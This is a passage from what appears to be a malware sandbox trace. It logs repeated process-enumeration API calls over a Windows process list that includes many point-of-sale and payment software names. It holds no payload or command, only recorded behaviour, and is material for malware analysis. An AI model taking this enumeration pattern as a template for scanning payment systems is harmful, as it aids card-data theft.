lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0222.873] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0222.942] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0222.945] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0222.947] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0222.950] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0222.952] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0222.954] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0222.956] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0222.959] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0222.961] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0222.963] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0222.965] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0222.967] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0222.969] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0222.971] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0222.973] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0222.974] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0222.976] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.980] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0222.982] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0222.983] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0222.985] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0222.987] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0222.989] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0222.990] CloseHandle (hObject=0x11c8) returned 1 [0222.990] Sleep (dwMilliseconds=0x64) [0222.992] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0223.006] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.008] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0223.009] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0223.011] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.013] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0223.015] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.016] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0223.018] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0223.020] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0223.022] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.024] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.025] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0223.028] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.029] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.031] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.033] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.035] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.036] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.038] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.040] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0223.041] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0223.043] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0223.045] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.047] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0223.088] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0223.089] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0223.091] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0223.094] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0223.095] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0223.097] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0223.099] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.101] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0223.103] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0223.105] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0223.106] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0223.108] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0223.110] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0223.111] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0223.115] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0223.117] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0223.119] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0223.120] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0223.122] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0223.124] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0223.125] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0223.127] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0223.129] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0223.130] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0223.133] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0223.135] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0223.136] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0223.146] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0223.187] Sleep (dwMilliseconds=0x64) [0223.189] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0223.235] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.302] Sleep (dwMilliseconds=0x64) [0223.311] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0223.322] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.458] Sleep (dwMilliseconds=0x64) [0223.466] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0223.479] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.576] Sleep (dwMilliseconds=0x64) [0223.577] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0223.594] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, 